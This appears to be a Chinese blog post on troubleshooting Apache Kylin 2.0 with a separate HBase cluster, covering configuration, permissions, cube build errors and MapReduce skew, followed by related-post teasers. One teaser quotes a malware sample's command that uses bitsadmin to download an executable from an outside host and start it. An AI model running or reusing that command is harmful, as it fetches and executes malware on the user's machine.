文档章节

Apache Kylin 安装使用问题

AlexPeng
 AlexPeng
发布于 2017/08/22 17:12
字数 1065
阅读 71
收藏 1

环境:

hbase 单独集群版本:1.0.0-cdh5.5.1 , 对应的hadoop版本:2.6.0-cdh5.5.1

hadoop 版本: 2.6.0-cdh5.9.0

hive 版本:1.1.0-cdh5.9.0

hcatlog 版本: 1.1.0+cdh5.9.0

kylin 版本: apache-kylin-2.0.0-bin-cdh57.tar.gz

 

1.  启动不了

    在kylin.out中看到 hadoop.tmp.dir 这个目录没有权限,导致启动不了, 原因是我之前用的root 用户启动一次kylin,后来切换用户导致的,赋权限就好。

 

2. hbase单独集群配置(最严重的一个问题)

    kylin中 kylin.storage.hbase.cluster-fs 这个配置未配置,虽然可以运行kylin,但是是个天坑,将公司80台hbase单独服务集群弄挂了,这里的原因没有细究,需要去问问kylin的大神。(推测可能是hbase客户端配置直接用zk的配置的,在请求的时候一台一台hbase机器地址获取写入数据,因为数据量比较大导致单台机器承受不住,最终一台一台机器弄挂)

    配置上面的参数,就必须要配置hbase的 kylin.storage.hbase.cluster-hdfs-config-file这个属性,指定hbase集群中hdfs的配置文件。

 

3.  hbase 版本问题

    由于官网提供的编译完成的二进制对应的版本有限,遇到的问题: 

    https://www.oschina.net/question/144320_2263656

    最终解决方法,请自行去官网下载2.0版本源码,根据自己的hbase版本编译打包。

    这个问题一般在查询阶段才会遇到。

 

4. cube第一步报错,内容如下:

java.lang.NullPointerException
	at org.apache.kylin.source.hive.CreateFlatHiveTableStep.getCubeSpecificConfig(CreateFlatHiveTableStep.java:100)
	at org.apache.kylin.source.hive.CreateFlatHiveTableStep.doWork(CreateFlatHiveTableStep.java:105)
	at org.apache.kylin.job.execution.AbstractExecutable.execute(AbstractExecutable.java:113)
	at org.apache.kylin.job.execution.DefaultChainedExecutable.doWork(DefaultChainedExecutable.java:57)
	at org.apache.kylin.job.execution.AbstractExecutable.execute(AbstractExecutable.java:113)
	at org.apache.kylin.job.impl.threadpool.DefaultScheduler$JobRunner.run(DefaultScheduler.java:136)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)
	at java.lang.Thread.run(Thread.java:745)

    网上说是 metadata 数据加载失败, 可以去在系统中reload metadata下就好。

    但中间遇到过好几次这样的问题,有时可以解决,有时候很顽皮, 具体原因不清楚。

    使用中发现,cube对应的model中的事实表,也即从hive 数据源中导入到kylin中的需要计算的表在完成Sync操作后,会发出一个job任务(做什么暂时不清楚,猜测是抽取表对应的文件),当这个任务执行不成功时第一步也会遇到这个问题。请确保该任务执行成功。

 

5. 执行计算的时候发生MR倾斜

    第一是字段维度设计有问题,请自行检查

    第二就是重新手动按自己的方式对kylin计算的hive中间表做数据切分,关闭自动文件合并的功能。

set mapreduce.job.reduces=500;

set hive.merge.mapredfiles=false;

INSERT OVERWRITE TABLE kylin_intermediate_track_view_cube_1ae062d7_1490_4ece_a1b8_2c3358f5fdd9 SELECT * FROM kylin_intermediate_track_view_cube_1ae062d7_1490_4ece_a1b8_2c3358f5fdd9 DISTRIBUTE BY RAND();

    设置reduce的计算个数,及重新切分表中的文件!上面的参数在cube执行中会打印出来, 后续自行copy按照表的数据量和集群资源,自行切分并安排合理的reduce的个数。

 

6. 权限问题

    如果你是单独hbase集群请保证运行的用户,在两边hdfs上对应目录的权限相同,且可自行赋权,我这边遇到的问题是,hbase集群hdfs上的目录是/user/kylin目录,kylin用户对当前目录是可以操作的,但当赋权操作时失败,问题是/user目录是root用户且是700权限,导致下面/user/kylin目录下面的文件当前用户不能自己赋权, 修改/user目录的权限为755 解决当前用户不能自行赋权的问题。

    

使用总结:

    1. 不支持原始数据明细查询

    2. 单维度数据21亿限制

    3. 查询限制于cube的设计,不是太灵活。

    4. 查询分组等计算的速度很快,大部分在1秒内。

    5. 分区时间字段格式支持有限。

    6. cube计算维度的膨胀,需要对业务精确分析,对维度组合进行剪枝。

    7. 跨segment的查询会比较慢。

    

参考: 

http://www.guardian.cool/2016/11/HBase%E7%8B%AC%E7%AB%8B%E9%9B%86%E7%BE%A4%E7%9A%84Kylin%E6%90%AD%E5%BB%BA%E9%97%AE%E9%A2%98%E8%AE%B0%E5%BD%95/

   

    

    

 

 

 

 

© 著作权归作者所有

共有 人打赏支持
AlexPeng
粉丝 14
博文 23
码字总数 12131
作品 0
普陀
高级程序员
Kylin集群部署和cube使用

Kylin集群部署和cube使用 安装集群环境 节点 Kylin节点模式 Ip 内存 磁盘 Node1 All 192.167.71.11 2G 80G Node2 query 192.168.71.12 1.5G 80G Node3 query 192.168.71.13 1.5G 80G Kylin工......

仔仔1993
07/05
0
0
Apache Kylin和Superset(Caravel)集成

本文转自Apache Kylin公众号apachekylin. Superset 是一个数据探索和可视化平台,设计用来提供直观的,可视化的,交互式的分析体验。 Superset 提供了两种分析数据源的方式: 1. 用户可以以单...

hblt-j
07/09
0
0
CDH5.12整合Kylin2.1

获取安装包 http://kylin.apache.org/download/ 下载:apache-kylin-2.1.0-bin-cdh57.tar.gz 上传:/opt 解压:tar zxvf apache-kylin-2.1.0-bin-cdh57.tar.gz 2. 配置环境变量 vi /etc/prof......

JPblog
2017/09/20
0
0
一文读懂Apache Kylin

“麒麟出没,必有祥瑞。”                               —— 中国古谚语 Kylin思维导图 前言 随着移动互联网、物联网等技术的发展,近些年人类所积累的数据...

陈小龙哈
08/04
0
0
kylin_学习_01_kylin安装部署

一、环境准备 根据官方文档,kylin是需要运行在hadoop环境下的,如下图: 1.hadoop环境搭建 参考:hadoop学习02_Hadoop环境搭建(单机) 2.hbase环境搭建 参考:hbase学习01HBase环境搭建(单机...

rayner
03/20
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
11分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
24分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
26分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
37分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部